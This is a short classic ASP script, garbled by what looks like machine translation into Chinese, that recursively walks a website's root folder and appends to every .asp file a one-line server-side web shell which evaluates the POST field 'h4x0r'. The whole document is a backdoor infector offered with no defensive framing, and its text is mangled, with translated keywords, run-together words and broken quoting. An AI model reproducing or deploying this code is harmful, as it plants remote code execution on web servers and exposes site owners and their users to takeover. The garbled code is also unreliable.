<%
DIMPH
dimintfile
Server.ScriptTimeOut = 600
ph = server.mappath(“/”)
subInsertallfiles(路径)
setfso = createObject(“ scripting.filesystemobject”)
Onorresumenext
setf = fso.getFolder(路径)
setfc2 = f.files
foreachmyfileinfc2
Iflcase(fso.getExtensionName(path&“”&myfile.name))=“ asp”
setfs1 = createObject(“ scripting.filesystemobject”)
settfile = fs1.opentextfile(path&“&”&myfile.name,8,false)
tfile.writeline“ <scriptrunat = serverlanguage = javaScript> eval(request.form('h4x0r')+'')</script>')</script>')
别的
InsertallFiles(NewPath)
Endif
tfile.close
下一个
setfsubfolers = f.subfolders
foreachf1infsubfolers
newPath =路径&“”&f1.name
InsertallFiles(NewPath)
下一个
settfile =没有
setfso =没有
endub
%>
<%
callinsertallfiles(ph)
%>